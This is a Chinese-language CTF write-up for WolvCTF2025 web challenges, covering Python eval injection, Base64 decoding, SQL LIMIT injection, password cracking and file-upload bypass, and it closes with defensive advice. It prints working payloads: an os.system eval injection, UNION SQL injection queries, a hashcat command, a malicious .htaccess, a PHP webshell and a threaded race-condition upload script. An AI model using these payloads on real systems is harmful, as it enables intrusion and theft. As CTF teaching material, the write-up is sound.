WolvCTF2025(WebAK)
字数 1248 2025-08-29 08:29:58

Python沙箱逃逸与Web安全实战教学

1. Eval is Evil - Python沙箱逃逸

漏洞分析

题目是一个简单的Python沙箱环境,直接拼接用户输入导致远程代码执行(RCE)。

# 题目源码示例
user_input = input("Enter your input: ")
eval("some_function(" + user_input + ")")  # 直接拼接导致RCE

利用方法

无需沙箱逃逸,直接构造恶意输入即可执行任意命令:

__import__('os').system('id')

防御措施

  • 避免使用eval()exec()处理用户输入
  • 如需使用沙箱,考虑使用PyPy沙箱或RestrictedPython
  • 使用白名单验证输入

2. OverAndOver - Base64多层解码

题目分析

题目提供经过多层Base64编码的字符串,需要连续解码直到原始内容。

解决方案

编写自动解码脚本:

import base64

def decode_recursive(encoded):
    while True:
        try:
            encoded = base64.b64decode(encoded).decode('utf-8')
        except:
            return encoded

with open('encoded.txt', 'r') as f:
    print(decode_recursive(f.read()))

3. DigginDir - 取证分析

题目分析

多个文件中隐藏flag,需要编写脚本批量搜索。

解决方案

import os

def search_flag(directory):
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith('.txt'):
                with open(os.path.join(root, file), 'r') as f:
                    content = f.read()
                    if 'flag{' in content:
                        print(f"Found in {os.path.join(root, file)}: {content}")

4. Javascript Puzzle - 错误触发

漏洞分析

通过触发JavaScript错误获取flag,错误类型包括:

  • SyntaxError:语法错误(解析阶段)
  • TypeError:类型错误
  • ReferenceError:未定义变量
  • RangeError:数值越界
  • URIError:URI处理错误

利用方法

最容易触发错误的方式是对象与字符串拼接:

// 构造一个对象并覆盖toString方法
const obj = {
  toString: () => { throw new Error("Trigger error") }
};

// 尝试拼接字符串触发错误
try {
  const username = obj;
  const test = "Hello " + username;
} catch (e) {
  // 获取flag
}

5. Limited系列 - SQL注入

Limited 2 - Limit注入

漏洞分析

高版本MySQL中的Limit注入,传统方法失效。

利用方法

通过修改HTTP参数实现注入:

-- 原始查询
SELECT * FROM users LIMIT [user_input];

-- 注入payload
SELECT * FROM users LIMIT 1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- 

绕过技巧

  • 使用HTTP参数污染
  • 利用子查询
  • 通过数据包修改参数

Limited 1 - 查询历史获取

解决方案

利用information_schema.processlist查看正在执行的查询(MySQL ≥ 5.7.6):

SELECT * FROM information_schema.processlist WHERE db = DATABASE();

Limited 3 - 密码爆破

题目分析

需要爆破MySQL用户密码,密码哈希在rockyou字典中。

解决方案

  1. 获取密码哈希:
SELECT password FROM users WHERE username = 'flag';
  1. 使用hashcat爆破:
hashcat -m 3000 hash.txt rockyou.txt

注意事项

  • MySQL 8.0+使用新的哈希算法
  • 注意哈希格式转换

6. Art Contest - 文件上传与权限绕过

漏洞分析

  • 可上传.htaccess文件
  • 每小时清理上传文件
  • 上传后权限被限制
  • Apache 2.4.62(无已知漏洞)

利用方法

  1. 上传恶意.htaccess
AddType application/x-httpd-php .txt
  1. 上传PHP webshell(.txt扩展名)

  2. 权限绕过技巧:

  • 利用*不匹配.开头文件的特性
  • 上传文件名以.开头(如.shell.php

条件竞争利用

import requests
import threading

def upload_file(session):
    while True:
        files = {'file': ('.shell.php', '<?php system($_GET["cmd"]); ?>')}
        session.post('http://target/upload', files=files)

# 创建多个线程同时上传
s = requests.Session()
for i in range(10):
    threading.Thread(target=upload_file, args=(s,)).start()

最终利用

  1. 上传webshell
  2. 执行get_flag程序:
cd /var/www/html/uploads/session_id/
./get_flag

防御措施总结

  1. Python沙箱

    • 使用安全沙箱环境
    • 严格限制可用函数
  2. SQL注入

    • 使用预编译语句
    • 最小权限原则
    • 定期更新数据库
  3. 文件上传

    • 限制上传文件类型
    • 随机化文件名
    • 存储在非web可访问目录
  4. 错误处理

    • 自定义错误页面
    • 生产环境关闭详细错误
  5. 权限控制

    • 正确设置文件权限
    • 使用专用用户运行服务
    • 定期检查权限设置
Python沙箱逃逸与Web安全实战教学 1. Eval is Evil - Python沙箱逃逸 漏洞分析 题目是一个简单的Python沙箱环境,直接拼接用户输入导致远程代码执行(RCE)。 利用方法 无需沙箱逃逸,直接构造恶意输入即可执行任意命令: 防御措施 避免使用 eval() 或 exec() 处理用户输入 如需使用沙箱,考虑使用 PyPy 沙箱或 RestrictedPython 使用白名单验证输入 2. OverAndOver - Base64多层解码 题目分析 题目提供经过多层Base64编码的字符串,需要连续解码直到原始内容。 解决方案 编写自动解码脚本: 3. DigginDir - 取证分析 题目分析 多个文件中隐藏flag,需要编写脚本批量搜索。 解决方案 4. Javascript Puzzle - 错误触发 漏洞分析 通过触发JavaScript错误获取flag,错误类型包括: SyntaxError :语法错误(解析阶段) TypeError :类型错误 ReferenceError :未定义变量 RangeError :数值越界 URIError :URI处理错误 利用方法 最容易触发错误的方式是对象与字符串拼接: 5. Limited系列 - SQL注入 Limited 2 - Limit注入 漏洞分析 高版本MySQL中的Limit注入,传统方法失效。 利用方法 通过修改HTTP参数实现注入: 绕过技巧 使用HTTP参数污染 利用子查询 通过数据包修改参数 Limited 1 - 查询历史获取 解决方案 利用 information_schema.processlist 查看正在执行的查询(MySQL ≥ 5.7.6): Limited 3 - 密码爆破 题目分析 需要爆破MySQL用户密码,密码哈希在rockyou字典中。 解决方案 获取密码哈希: 使用hashcat爆破: 注意事项 MySQL 8.0+使用新的哈希算法 注意哈希格式转换 6. Art Contest - 文件上传与权限绕过 漏洞分析 可上传 .htaccess 文件 每小时清理上传文件 上传后权限被限制 Apache 2.4.62(无已知漏洞) 利用方法 上传恶意 .htaccess : 上传PHP webshell( .txt 扩展名) 权限绕过技巧: 利用 * 不匹配 . 开头文件的特性 上传文件名以 . 开头(如 .shell.php ) 条件竞争利用 最终利用 上传webshell 执行 get_flag 程序: 防御措施总结 Python沙箱 : 使用安全沙箱环境 严格限制可用函数 SQL注入 : 使用预编译语句 最小权限原则 定期更新数据库 文件上传 : 限制上传文件类型 随机化文件名 存储在非web可访问目录 错误处理 : 自定义错误页面 生产环境关闭详细错误 权限控制 : 正确设置文件权限 使用专用用户运行服务 定期检查权限设置